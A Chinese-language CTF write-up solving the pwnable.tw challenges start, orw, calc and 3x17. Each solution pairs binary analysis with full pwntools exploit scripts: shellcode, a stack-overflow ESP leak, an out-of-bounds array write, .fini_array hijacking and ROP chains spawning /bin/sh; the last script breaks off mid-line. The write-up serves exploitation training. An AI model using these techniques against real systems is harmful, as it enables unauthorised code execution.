# pwnable.tw writeup [TOC] ## 環境 * Ubuntu 18.04 / Kali 2022.3 * gdb-gef, ghidra ### Patchelf * 由於部分題目需要使用到 Ret2lib 等等的攻擊,如果靶機與本機的 libc 版本不同,可能會造成攻擊的腳本失效 * 因此這邊使用 Patchelf 來使兩邊版本一致,以下使用 `applestore` 這一題作為範例 --- * 先安裝 patchelf 和 glibc-all-in-one * patchelf 我應該是直接 `sudo apt install patchelf`,有點忘了 * glibc-all-in-one 就直接照 GitHub 指示安裝 * 接著查看題目提供的 lib 檔案版本 * 假設檔案為 `libc_32.so.6` * `strings ./libc_32.so.6 | grep ubuntu` * ![image.png](https://hackmd.io/_uploads/Sk5bisfQT.png) * 那我們就需要 `2.23-0ubuntu5` 的 ld 連結檔 * 接著使用 glibc-all-in-one 下載連結檔 * 記得要根據題目是 32 還是 64 位元下載不同檔案 * 如果沒有對應的版本那就自己上網找載點,然後將 `download` 裡面的 `SOURCE` 修改後執行 * 下載完的檔案會在 `libs/[version]` 裡面,而我們需要其中 `ld` 開頭的檔案 * ![image.png](https://hackmd.io/_uploads/ByyLhoMXa.png) * 直接複製一份到題目資料夾 * 現在題目資料夾裡應該有 * 題目 ELF * 題目 lib * 下載到對應的 ld * ![image.png](https://hackmd.io/_uploads/r1g93szmp.png) * 先綁定 ld * `patchelf --set-interpreter [ld] [elf]` * `patchelf --set-interpreter ./ld-2.23.so applestore` * 然後綁定 lib * `patchelf --replace-needed [original-lib] [lib] [elf]` * `patchelf --replace-needed libc.so.6 ./libc_32.so.6 applestore` * 可以使用 `ldd [elf]` 查看原本的 libc 是啥 * 就可以直接執行了,一樣使用 `ldd` 查看也確實是綁定在題目提供的 lib 上面 * ![image.png](https://hackmd.io/_uploads/r1b70sGQa.png) ## 相關資源 * [system call table](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md) ## pwntools gdb * 通常我們會需要使用 python 的 pwntools 模組來幫助我們向程式傳遞訊息 * 例如給定一個目標 Address 做後續攻擊利用等... * 然而我們也會需要 gdb 幫助我們得到系統資訊 * 以下為範例腳本,可在使用 pwntools 的同時將 gdb attach 到目標程式上面 ```python= from pwn import * DEBUG_MODE = True def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('') else: p = remote("", ) p.interactive() ``` * 使用前請先執行 tmux ## Start ### Recon * 先試著執行一次 * 要求輸入,似乎有 BOF * ![](https://i.imgur.com/qff5z98.png) * gdb 執行,先確認防護措施 * 全部未啟用 * ![](https://i.imgur.com/yhGsO2D.png) * 用 ghidra 看一下流程 * ![](https://i.imgur.com/XJUoo5r.png) * 大致上可分為幾塊 1. 將 ESP 和 \_exit 的 address 推入 stack ``` 08048060 54 PUSH ESP=>local_4 08048061 68 9d 80 PUSH _exit 04 08 ``` 2. 清空 EAX ~ EDX ``` 08048066 31 c0 XOR EAX,EAX 08048068 31 db XOR EBX,EBX 0804806a 31 c9 XOR ECX,ECX 0804806c 31 d2 XOR EDX,EDX ``` 3. 在 stack 中推進字串 `Let's start the CTF:` ``` 0804806e 68 43 54 PUSH ":FTC" 46 3a 08048073 68 74 68 PUSH " eht" 65 20 08048078 68 61 72 PUSH " tra" 74 20 0804807d 68 73 20 PUSH "ts s" 73 74 08048082 68 4c 65 PUSH "'teL" 74 27 ``` 4. `INT 0x80` 為呼叫 system call * 前面在存入呼叫號和參數 * AL = EAX 前 8 位;同理 BL、DL * x86-32 calling convention: EAX EBX ECX EDX ESI EDI EBP * 0x4: write * https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit * arg: fd(0x1), buf(ESP), count(0x14) * ESP 永遠是 stack 最下層 * 簡單來說就是呼叫 write(1, ESP("Let's start the CTF:"), 0x14) ``` 08048087 89 e1 MOV ECX,ESP 08048089 b2 14 MOV DL,0x14 0804808b b3 01 MOV BL,0x1 0804808d b0 04 MOV AL,0x4 0804808f cd 80 INT 0x80 ``` * 清空 EBX,AL DL 更換,一樣呼叫 system call * 0x3: read * arg: fd(0x0), buf(ESP), count(0x3c) * 簡單來說就是 read 0x3c 個字到 ESP 上 ``` 08048091 31 db XOR EBX,EBX 08048093 b2 3c MOV DL,0x3c 08048095 b0 03 MOV AL,0x3 08048097 cd 80 INT 0x80 ``` * ESP 加上 0x14 後 RET * 概念上次排除掉原本在 buf 的 `Let's start the CTF:` 然後 RET * RET 直接從 stack 拿 32 個 bits 當作下一個執行的指令 ``` 08048099 83 c4 14 ADD ESP,0x14 0804809c c3 RET ``` ### Frame stack 結構 * 一些暫存器的功能 * EIP: 下次要執行的指令地址 * EBP: stack base address * ESP: 目前 stack address * 一個 Stack Frame 大概長這樣 | Stack | | -------------- | | ... | | buffer | | ... | | saved rbp | | return address | * 在 buf 區塊存取時,如果沒有規定上限或是上限超出範圍,就可能使 buf 區塊的資料蓋到 rbp 甚至 RET address | Stack | | ----------------------------- | | ... | | "AAAAAAAA" | | "AAAAAAAA" | | ~~saved rbp~~ "AAAAAAAA" | | ~~return address~~ "AAAA" | | ... | ### 漏洞利用 * 經過上述分析,其實蠻明顯具有 BOF 漏洞 * 可以先觀察一下執行 read 前的 stack 狀態 * ![](https://i.imgur.com/M6qFskn.png) * 基本上就是存放了 write 的字串,共有 0x14 個字 * 接著最下面放有開頭推入的 exit address 與 ESP * 然後隨便輸入個 `AAAA` 讓他 read 看看 * ![](https://i.imgur.com/HkHlIi7.png) * 可以發現 stack 最上面變成了 AAAA(0x41414141) * 堆疊中只有 0x14 個空間,但讀取的上限卻是 0x3c,因此輸入夠長的話就可以蓋掉 RET Address --- * 設計一下 payload * 前面先給予 0x14 個 A 來蓋掉原先的字串空間,後面就可以直接給定任意地址了 ```python! from pwn import * # fill out this way target_addr = def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': p = setgdb('./start') p.recvuntil(':') payload = b'A' * 0x14 + p32(target_addr) p.send(payload) p.recv() p.interactive() ``` * 問題來了,我們要跳到哪裡? * 我們希望能夠拿到 RCE,因此得到 shell 是最好的,然而這隻程式似乎沒有 system 等等的地方能夠利用 * 那就使用 system call 來達到... --- * 對照一下[文件](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit),execve 的 system call 應該就是我們要的 * number(EAX): 0x0b * arg0(EBX): filename = /bin/sh * arg1(ECX): argv = 空白即可 * arg2(EDX): envp = 空白即可 * 重新整理一下,我們希望執行到的 shell code asm 為 ``` MOV EAX, 0x0b PUSH '/bin/sh' MOV EBX, ESP XOR ECX, ECX XOR EDX, EDX INT 0x80 ``` * PUSH 的時候實際上需要分兩次,因為 32 bits 一次只能推 4 個字元 * 因為沒有做保護,因此我們可以把 shell code 推入到 stack 中,然後把 address 指定到 stack 上面 * stack address 在哪裡?就是一開始推入的 ESP * 所以我們先做一次 BOF,將 stack 字串的部分用乾淨,然後把目標 address 設回 write 的地方 ```python=1 from pwn import * def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': p = setgdb('./start') p.recvuntil(':') payload = b'A' * 0x14 + p32(0x08048087) # RET to write p.send(payload) p.recv() p.interactive() ``` * 此時的 stack 會被覆蓋為 | Stack | | ----------------------------- | | ... | | "AAAAAAAA" | | "AAAAAAAA" | | "AAAAAAAA" | | ~~\_exit~~ "0x08048087" | | saved_ESP | * 然後因為跳轉回 write,因此會印出 ESP,也就是 stack 的 Address * 再來二次 BOF,前面一樣用 0x14 個 A 來填充,後面的目標 address 放入第一次得到的 ESP,後面再放入準備好的 shellcode ```python=1 from pwn import * shellcode = """ mov eax, 0x0b push %s push %s mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 """ % (u32("/sh\0"), u32("/bin")) def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': p = setgdb('./start') p.recvuntil(':') # first BOF, get ESP address payload = b'A' * 0x14 + p32(0x08048087) p.send(payload) esp_addr = u32(p.recv()[:4]) # second BOF, call execve system call payload = b'A' * 0x14 + p32(esp_addr) + asm(shellcode) p.send(payload) p.interactive() ``` * 然後這段 code 其實是錯的,因為第一次 BOF 時執行了 `ADD ESP,0x14`,導致 stack 產生了 `0x14` 的偏移 * 在 saved_esp 加回去即可 * 最後 exploit script ```python= from pwn import * shellcode = """ mov eax, 0x0b push %s push %s mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 """ % (u32("/sh\0"), u32("/bin")) DEBUG_MODE = False def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if (DEBUG_MODE): p = setgdb('./start') else: p = remote("chall.pwnable.tw", 10000) p.recvuntil(':') # first BOF, get ESP address payload = b'A' * 0x14 + p32(0x08048087) p.send(payload) esp_addr = u32(p.recv()[:4]) + 0x14 # 0x14 for add esp # second BOF, call execve system call payload = b'A' * 0x14 + p32(esp_addr) + asm(shellcode) p.send(payload) # get shell p.interactive() ``` * 如果在 debug 模式(本機)下使用,會發現開啟了 shell 在相同目錄(可以用 `ls` `cat` 等指令測試) * 但因為還在 debug mode,因此會有些其他訊息而有點亂 * ![](https://i.imgur.com/65IKnRw.png) * 線上模式的話則會直接得到 remote shell * ![](https://i.imgur.com/byCAlsF.png) * 用 `find` 指令可直接搜尋 flag 相關檔案 * ![](https://hackmd.io/_uploads/BkNtsIHMT.png) * 成功得到 Flag ## orw ### Recon * 題目描述寫道,flag 在 `/home/orw/flag`,並且我們只能使用`open` `read` `write` 的 syscall * 然後直接執行的話會出錯,有可能是因為其他 syscall 被擋住導致的,但我們可以直接 nc 連過去看看 * ![](https://i.imgur.com/dqUm42p.png) * 要求我們輸入 shellcode * 沒什麼頭緒,用 ghidra 分析看看 * 發現有 main function * ![](https://i.imgur.com/LqNf6jj.png) 1. 一開始執行了一個 function,等等再分析 2. printf 出字串 3. 讀取大小為 200 的 input 放到 shllcode 變數中 4. 將 shllcode 當作 code 執行 * 看起來並沒有很複雜,接著我們看看第一個 function 做了什麼 * 其實 google 一下可以知道 function name 代表的應該是 Secure Computing,可以推測該 function 的功能是禁止 syscall * 但我們還是實際分析一下 * ![](https://i.imgur.com/opZuLeR.png) 1. 前面看起來只是做一些變數處理 2. 後面看起來比較重要的應該是 prctl 的部分 * 查一下 [man](https://man7.org/linux/man-pages/man2/prctl.2.html),可以知道第一個 arg 會決定他的行為 * 對應[原始碼](https://github.com/torvalds/linux/blob/master/include/uapi/linux/prctl.h),得知 0x26 為 `PR_SET_NO_NEW_PRIVS` 但看不太懂他的解釋,先跳過 * 同理對照 0x16 為 `PR_SET_SECCOMP`,這個就比較單純了,它會使現在的 thread 只能呼叫 read write 和 exit * 其實搞不太懂這邊的詳細實作,但其實結合題目說明大概就知道這個 function 就是限制住 syscall 的部分 ### Shellcode 撰寫 * 題目其實很明確,就是要你幹一段 shellcode 去讀取 flag,且只能利用 write read 和 open * 那流程大概就是 1. open flag file 2. read the open fd 3. write to the screen * 一樣對照 [syscall docs](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit) 去實作 * [open](https://man7.org/linux/man-pages/man2/open.2.html) * EAX: 0x05 * arg0(EBX): filename(/home/orw/flag) * arg1(ECX): flags * arg2(EDX): mode * return(EAX): fd * [read](https://man7.org/linux/man-pages/man2/read.2.html) * EAX: 0x03 * arg0(EBX): fd(from open) * arg1(ECX): buf = esp * arg2(EDX): count * [write](https://man7.org/linux/man-pages/man2/write.2.html) * EAX: 0x04 * arg0(EBX): fd = 0(顯示到畫面上) * arg1(ECX): buf = esp * arg2(EDX): count * 嘗試撰寫 shellcode ``` mov eax, 0x05 push "/home/orw/flag" mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 mov ebx, eax mov eax, 0x03 mov ecx, esp mov edx, 0x20 int 0x80 xor ebx, ebx mov eax, 0x04 int 0x80 ``` * 最後 exploit script * 值得注意的是 push 到 stack 時因為大小限制,要拆成 4 個一組 ```python= from pwn import * shellcode = """ mov eax, 0x05 push %s push %s push %s push %s mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 mov ebx, eax mov eax, 0x03 mov ecx, esp mov edx, 0x30 int 0x80 xor ebx, ebx mov eax, 0x04 int 0x80 """ % (u32("ag\0\0"), u32("w/fl"), u32("e/or"), u32("/hom")) DEBUG_MODE = False def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('') else: p = remote("chall.pwnable.tw", 10001) p.recv() p.send(asm(shellcode)) p.interactive() ``` * 執行後直接得到 flag * ![](https://hackmd.io/_uploads/HJksoISMa.png) ## calc ### Recon * 稍微執行一下看看程式能幹嘛 1. 印出 `=== Welcome to SECPROG calculator ===` 字串 2. 讀輸入,然後會做計算 * 溢位、除零等等情況似乎有處理 3. 輸入空白會印出 `Merry Christmas!` 字串並結束程式 * 從題目名稱和上述測試可以知道是一個計算機程式,接著用 ghidra 分析看看 * 程式為靜態編譯,分析會稍微有點久 * 以下分析的變數名稱已經經過修改 --- * 發現有 `main` function 存在,然後馬上發現測試時的兩個字串,並且中間有一個自訂 function `calc()` * ![](https://i.imgur.com/ZbSi8da.png) * `calc` * ![](https://i.imgur.com/sNVKe3r.png) * 可以看到使用一個無窮迴圈,合理猜測是可以不停接收使用者訊息的原因 * 裡面使用 `bzero` 來清空一個 `0x400` 的空間 `user_input`,用於存放使用者輸入(宣告的地方可以知道他是個陣列) * 接著這邊執行了另一個 function `get_expr`,那我們先分析一個這個 function * `get_expr` * ![](https://i.imgur.com/XAwPJsl.png) * 裡面的變數名稱已經被我整理過,整個功能變得很明顯了 * 首先,輸入的兩個參數分別為 bzero 清空過的一個陣列和 `0x400` 的固定整數 * 然後一個迴圈會跑 `0x400` 次,每次讀一個使用者的輸入 * 如果沒讀到或是讀到換行就跳出迴圈 * 如果是運算符號或是數字就存到陣列中的位置,接著讀下一個字 * 最後回傳迴圈跑了幾次,也就是輸入的 size * 回到 `calc` * 接續剛剛的 `get_expr`,可以得知回傳值是 input 的大小 * 如果大小為 `0` 就跳出迴圈,因此會印出字串然後結束 * 如果不為 `0` 則會對一個變數的地址做 `init_pool`,一樣來看看這個 function * `init_pool` * ![](https://i.imgur.com/bR232lV.png) * 一樣很單純,把輸入的指標後面 `100` 格清空 * 這邊可以注意的是,ghidra 前面分析 `pool` 為一個 int,但這邊很明顯是一個 array * 因此其實 `calc` 中另一個接續在後面的陣列,其實可以和 `pool` 視為同一個部分 * ~~IDA 的話可以手動修正合併,Ghidra 沒辦法XD~~ * 回到 `calc` * 清空後會把最開始的 `user_input` 和剛剛清空的指標丟進 `parse_expr` 中,然後把回傳值印出 * `parse_expr` * 這邊的 code 較長,我分幾個部分來分析 1. ![](https://i.imgur.com/gsF9PXl.png) * 首先,最外面的判斷會是否為 `0` ~ `9`,如果**不是**才會進去 * 進去之後,會先將前面掃過但還未處理的數字切出來設為 `part_input` * 判斷 `part_input` 是否為零,是的話就跳到錯誤 2. ![](https://i.imgur.com/mUsisfn.png) * 再來判斷 `part_input` 是否大於零,如果是就丟到 `pool` 中 * 這裡的儲存方式很重要,`pool` 的第一格代表目前存到哪裡,也就是 size * 然後讓 index 存取第一格後,將數字放到 index 那一格去 3. ![](https://i.imgur.com/j1MdfEc.png) * 接下來是去判斷下一個字元如果不是結尾,卻也不是數字,那就代表有連續的運算子出現,跳到錯誤 4. ![](https://i.imgur.com/UzFVSmC.png) * 如果目前 `token` 是空的,把運算子的部分存到 `token` 裡面 5. ![](https://i.imgur.com/Z2BKRy1.png) * 如果 `token` 不是空的,會比較 `token` 和目前符號的優先度做不同處理 * 使用到了 `eval`,來看看他如何實作 * `eval` * ![](https://i.imgur.com/iQsSEQh.png) * 根據給定的運算子 (`token`) 不同,會對 `pool` 做不同運算 * 回到 `parse_expr` 6. ![](https://i.imgur.com/4bochIA.png) * 如果已經結束,就把所有 `token` 和 `pool` 中的數字拿去做運算 --- * 其實最開始測試程式的時候,某一個測資讓我有點在意 * ![](https://i.imgur.com/3xxk5Mn.png) * 最開始只是想測試有沒有支援負數,但意外發現開頭如果是運算符號就會怪怪的,例如: * ![](https://i.imgur.com/WfVFea0.png) * 回到 ghidra 去比對分析一下這樣的輸入會如何運作 * ![](https://i.imgur.com/mUsisfn.png) * 假設輸入 `+56+9` * 第一個 `+` 1. 不是數字,因此會直接進去 if 裡面 * `i` 為 `0`,因此 `part_input` 會只有 `\0` * `\0` 和 `0` 不同,所以不會跳到錯誤 2. 將 `\0` 用 `atoi` 會回傳 `0`,因此不會改動到 `pool` 3. 下一個字元是數字,不會跳到錯誤 4. token 被存起來,因此 `tokens[0]` = `+` 5. token 被存了,跳過 6. 還沒到最後,跳過 * 第二個 `+` 1. 不是數字,因此會直接進去 if 裡面 * `i` = `3`,`part_input` = `56` * `56` 和 `0` 不同,所以不會跳到錯誤 2. `0` < `56`,因此會去更新 `pool` * `pool_index` = `0` * 一開始 `pool` 都是 `0` * `pool[0]` = `1` * `pool[1]` = `56` 3. 下一個字元是數字,不會跳到錯誤 4. 剛剛 token 存了第一個 `+`,因此不會進去 5. 目前進到 switch 的是當前符號 `+`,也就是 `0x2b` * 執行 `eval(pool, tokens[token_index])` * 執行完之後 pool 會變為 * `pool[0]` = `56` * `pool[1]` = `56` * 也就是說,原先用於當作 size 的第零格會被拿去運算 * 這也導致了下一次的寫入位置會亂掉 * 如果還有數字要寫入,下次會寫到 `pool[57]` 的位置 * 也就是說,我們可以在任意位置寫入資料了 * 但位址的起始會被加上 `pool` 的位址 * 寫入在 `pool[x]` 的概念 --- * 同時我們也可以思考一下,這樣的怪異輸入最後的回傳值是什麼,是否可以利用 * `calc` 中,輸出的部分長這樣 * ![](https://i.imgur.com/bZVdsRX.png) * 前面說明過,`pool_array` 其實是 Ghidra 沒解好,實際上他應該是 `pool[1]` 的概念 * 因此可以全部換成 `pool` 去表示 * `pool[1 + pool[0] - 1]` * 在簡化成 `pool[pool[0]]` * 推導過後,可以知道最後的輸出其實就是把第零格當作 index,然後輸出該格 * 結合上面破壞 `pool[0]` 的手法,可以做到 leak 任意記憶體 ### 漏洞利用 * 先看一下程式防護 * ![](https://i.imgur.com/w5aNM2a.png) * 可以看到有 NX 防護,表示 stack 中的資料無法當作指令去執行 * 所以不能用 [Start](#Start) 那題的方法達到 RCE * 改用 ROP gadget 的方式做 * 預想 stack 架構 * ![](https://i.imgur.com/aaeUMQi.png) * 一樣是利用 `execve("/bin/sh")` * 如果成功建構出這樣的 stack 就可以在 return 回 main 的地方觸發 ROP Chain,進而得到 shell --- * 經過前面的分析,我們可以在任意位址寫入資料 * 想法是先 leak 出 EBP,接著寫入 ROP gadget,最後寫入 RET address 使其執行 * 先用 gdb 直接找出 main 的 return 和 main frame 的 main_EBP 為多少 * ![](https://i.imgur.com/jwnBKQJ.png) * 將斷點設在 calc 中,因為在進入 function 時會把 return address 也推入 stack 中,再把 EBP 也推進去 * 因此 return address 會在 EBP + 4 的位址上 * return address 在 main_EBP + `0x1c` * 然後也一樣先找出 `pool[0]` 的位址 * ![](https://i.imgur.com/7POjgMT.png) * 位址在 `0xffffcaa8` = main_EBP + `0x5c0` * 一格的空間大小為 `0x4`,算起來 return address 在 `pool[361]` * (`0x5c0` - `0x1c`) / `0x4` = `0x169` = `361` * 我們可以先測試一下上面的推論有沒有錯誤 * 輸入 `+360+[TARGET_ADDR]` 應該可以跳到目標地址 * 我們跳到 puts 字串的地方看看 * 地址為 `0804947b` = `134517883` * ![](https://i.imgur.com/FK15dhY.png) * 可以看到我成功讓應該結束的地方又跳回開頭了 --- * 先利用 ROPgadget 找出能利用的 gadget address * `ROPgadget --binary ./calc --only "ret|pop"` * 我們需要的都剛好有 * `0x0805c34b : pop eax ; ret` * `0x0806497b : pop edi ; pop esi ; pop ebx ; ret` * `ROPgadget --binary ./calc --only "int"` * `0x08049a21 : int 0x80` * 再次整理 stack 資訊 * ![](https://i.imgur.com/7LHsKBw.png) * 因為 "/bin/sh" 的部分需要知道 stack 的 Address,因此順便計算一下與 EBP_main 的相對位置 * 運氣很好,剛好落在 EBP_main 上面 * 再整理上面運算得到的結果,如果我們輸入 `+X+Y` * `pool[X + 1] = Y` * `pool[X] = pool[X] + Y` * 簡單寫一個 ROP Chain ```python= from pwn import * DEBUG_MODE = True ROP_gadget = [0x0805c34b, 0x0b, 0x080701d0, 0x0, 0x0, 0x0, 0x08049a21, u32("/bin"), u32("/sh\0")] def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./calc') else: p = remote("chall.pwnable.tw", 10100) p.recv() p.sendline("+360") leak = int(p.recv()) ROP_gadget[5] = leak index = 359 + len(ROP_gadget) for gadget in reversed(ROP_gadget): payload = "+" + str(index) payload += "+" + str(gadget) p.sendline(payload) p.recv() index -= 1 p.interactive() ``` * 執行後發現...失敗QQ * 原因有二 * 輸入 `0` 會視為錯誤,導致沒有成功寫入 * 寫入 main_EBP 的時候會溢位 * 這時候就得利用 `pool[X] = pool[X] + Y`,利用運算的部分寫入 `0` --- * 修正一下前面的錯誤,最後的 script 如下 ```python= from pwn import * DEBUG_MODE = True ROP_gadget = [0x0805c34b, 0x0b, 0x080701d0, 0x0, 0x0, 0x0, 0x08049a21, u32("/bin"), u32("/sh\0")] def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./calc') else: p = remote("chall.pwnable.tw", 10100) p.recv() # leak ebp_main p.sendline("+360") leak = int(p.recv()) ROP_gadget[5] = leak index = 361 for gadget in ROP_gadget: # get origin value payload = "+" + str(index) p.sendline(payload) temp = int(p.recv()) # set gadget, calculate the diff between origin value and gadget if(gadget > temp): temp = gadget - temp payload += "+" + str(temp) else: temp = temp - gadget payload += "-" + str(temp) p.sendline(payload) p.recv() index += 1 p.interactive() ``` * 測試一下,可以在 gdb 中將中斷點設在 calc return to main 的地方 * ![](https://i.imgur.com/YOEW8m5.png) * 可以看到 stack 中完全如我們的預期 * 實際執行也可以正確使用到 shell * 解除 debug mode,即可成功 RCE,取得 flag * ![](https://hackmd.io/_uploads/HkLpjUHG6.png) ## 3x17 ### Recon * 先執行程式看看 * 執行後要求輸入 `addr` * 接著要求輸入 `data` * ![](https://i.imgur.com/0xt0uqt.png) * 沒什麼明顯的輸出、錯誤,用 Ghidra 逆向看看 * 該 binary 被 stripped,看不到 function name,從 entry 點去找 `main` function * ![](https://i.imgur.com/ugdCxby.png) * 到 `main`,可以看到裡面有 `addr:` 和 `data:` 合理推斷是 `write` * 後面有等待使用者輸入,推斷是 `read` * ![](https://i.imgur.com/lneovB0.png) * 剩下一個 `FUN_0040ee70`,裡面超級複雜,直接改用 gdb 去確認一下進去的參數和回傳值 * ![](https://i.imgur.com/ALp4ATY.png) * 輸入 `123`,回傳 `0x7b` * 也就是說,會把傳入的 string 當作 10 進制的數字,然後轉成 address 的表示法(hex) * `strtol` * 統整一下流程 1. 讀入 `0x18` 大小的 string 作為 user_input 2. 將 user_input 當作 10 進制,透過 `strtol` 轉為 Hex(addr) 3. 接著在 addr 寫入 `0x18` * 另外,有個放在 DATA 區段的變數每次都會讓自己++,只有當它為 `1` 的時候才會工作。 * 當然,這讓我們可以在任意地址寫入 `0x18` 大小的值,如何進一步利用? #### 多次寫入 * 我們接下來的目標是想辦法將一次的寫入改為多次寫入,增加利用度。 * 在整個 Linux 程式的啟動過程中,每個 function 大概是這樣 * .init * .init_array[0] * .init_array[1] * ... * main * .fini * ... * .fini_array[1] * .fini_array[0] * 我們回到 `entry`,可以看到兩個 `main` 前後的 function,剛好一個會遞增執行一個是遞減執行,分別對應到 `init` 和 `fini` * ![](https://hackmd.io/_uploads/ryDorimGT.png) * ![](https://hackmd.io/_uploads/SJkTHi7G6.png) * 接著,如果我們將 `.fini_array[1]` 執行時的地址改寫為 `main`,並將 `.fini_array[0]` 改寫為 `.fini`,那麼應該就能無限執行 `main`,不停進行寫入了。 * 檢查變數會自己溢位又回到 `1`,因此不必特別繞過 --- * 實驗一下上面的假說是否成立,撰寫一個腳本測試 ```python=1 from pwn import * DEBUG_MODE = True ADDR_FINI_0 = 0x004b40f0 ADDR_FINI = 0x00402960 ADDR_MAIN = 0x00401b6d def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./3x17') else: p = remote("chall.pwnable.tw", 10105) p.sendafter('addr:', str(ADDR_FINI_0)) # fini[0] fini[1] p.sendafter('data:', p64(ADDR_FINI) + p64(ADDR_MAIN)) p.interactive() ``` * 由於可寫入空間是 `0x16`,並且目標位置是位於連續的陣列之中,我們可以直接一次寫入兩個 function(注意順序) * 完成後執行可以看到多次跳出 `addr:` 和 `data:` 字串,表示成功 * ![](https://hackmd.io/_uploads/H1wnoiQzp.png) --- * 我們現在可以無限次任意寫入,也可以控制下一個要執行的 function(RIP) * 然而,卻無法得知 RSP,因此無法控制 stack 上的資料 * 換個想法,我們是否有辦法在已知區段 `X` 做好 ROP chain,再將 RSP 改寫過去呢 --- * 在 `main` 的尾端我們可以看到 * ![](https://hackmd.io/_uploads/Sk7J6JVGa.png) * 其中 `LEAVE` 相當於 * mov rsp, rbp * pop rbp * 用途是將 stack 中丟掉一個 frame * 這表示我們可以將跳轉的 fini[0] 改到 `LEAVE` 上面,他會將 RBP 寫到 RSP 中,接著執行 `RET` 執行 RSP * 也就是說,RBP 是多少,跳轉過來就會執行哪裡 * 那麼,在 Call `fini[0]`(預計被改寫成 `LEAVE`) 之前,RBP 是多少呢 * 直接用 GDB 暫停在 `CALL` 的指令,得知 RBP 為 `0x4b40f0` * ![](https://hackmd.io/_uploads/Sycz8gEfp.png) * 因此若是跳轉到 `LEAVE` 上面,接下來執行的地方就是會 `0x4b40f0` 的下一行,也就是 `0x4b4100` * 再度測試一下有沒有問題 ```python=1 from pwn import * DEBUG_MODE = True ADDR_FINI_0 = 0x004b40f0 ADDR_FINI = 0x00402960 ADDR_MAIN = 0x00401b6d ADDR_ESP = 0x4b4100 ADDR_RET = 0x401c4b def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./3x17') else: p = remote("chall.pwnable.tw", 10105) p.sendafter('addr:', str(ADDR_FINI_0)) # fini[0] fini[1] p.sendafter('data:', p64(ADDR_FINI) + p64(ADDR_MAIN)) p.sendafter('addr:', str(ADDR_ESP)) p.sendafter('data:', p64(0xdeadbeef)) p.sendafter('addr:', str(ADDR_FINI_0)) # fini[0] p.sendafter('data:', p64(ADDR_RET)) p.interactive() ``` * 執行後成功停留在 `0xdeadbeef` 上面,表示成功 * ![](https://hackmd.io/_uploads/S1sMwlEfp.png) ### ROP 構建 * 現在已經可以在任意地方寫入,並且跳轉到 `0x4b4100`,因此我們只需在 `0x4b4100` 事先建構好 ROP Chain 即可 * 目標為 `execve("/bin/sh", 0, 0)` * 在 64 位元的系統中,我們需要在 rax = `0x3b` 時呼叫 `syscall` 來執行 `execve` * 且 x64 的 Linux Calling Convention 為 * Function(rdi, rsi, rdx, rcx, r8, r9) * 因此 ROP 的排序為 * pop_rax * 0x3b * pop_rdi * addr_"/bin/sh\x00" * pop_rsi * 0 * pop_rdx * 0 * syscall * 首先在任意一個可讀可寫,又不會影響到程式執行的地方寫入 `/bin/sh\x00` * 接著利用 `ROPgadget` 找出需要的 Address 即可 * 最後腳本 ```python=1 from pwn import * DEBUG_MODE = True ADDR_FINI_0 = 0x004b40f0 ADDR_FINI = 0x00402960 ADDR_MAIN = 0x00401b6d ADDR_ESP = 0x4b4100 ADDR_RET = 0x401c4b ADDR_STR_SH = 0x004b6644 def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./3x17') else: p = remote("chall.pwnable.tw", 10105) p.sendafter('addr:', str(ADDR_FINI_0)) # fini[0] fini[1] p.sendafter('data:', p64(ADDR_FINI) + p64(ADDR_MAIN)) # ROP Chain p.sendafter('addr:', str(ADDR_STR_SH)) p.sendafter('data:', "/bin/sh\x00") # set string_sh p.sendafter('addr:', str(ADDR_ESP)) p.sendafter('data:', p64(0x41e4af)) # pop_rax p.sendafter('addr:', str(ADDR_ESP + 8)) p.sendafter('data:', p64(0x3b)) # 0x3b p.sendafter('addr:', str(ADDR_ESP + 8 * 2)) p.sendafter('data:', p64(0x401696)) # pop_rdi p.sendafter('addr:', str(ADDR_ESP + 8 * 3)) p.sendafter('data:', p64(ADDR_STR_SH)) # string_sh p.sendafter('addr:', str(ADDR_ESP + 8 * 4)) p.sendafter('data:', p64(0x406c30)) # pop_rsi p.sendafter('addr:', str(ADDR_ESP + 8 * 5)) p.sendafter('data:', p64(0)) # 0 p.sendafter('addr:', str(ADDR_ESP + 8 * 6)) p.sendafter('data:', p64(0x446e35)) # pop_rdx p.sendafter('addr:', str(ADDR_ESP + 8 * 7)) p.sendafter('data:', p64(0)) # 0 p.sendafter('addr:', str(ADDR_ESP + 8 * 8)) p.sendafter('data:', 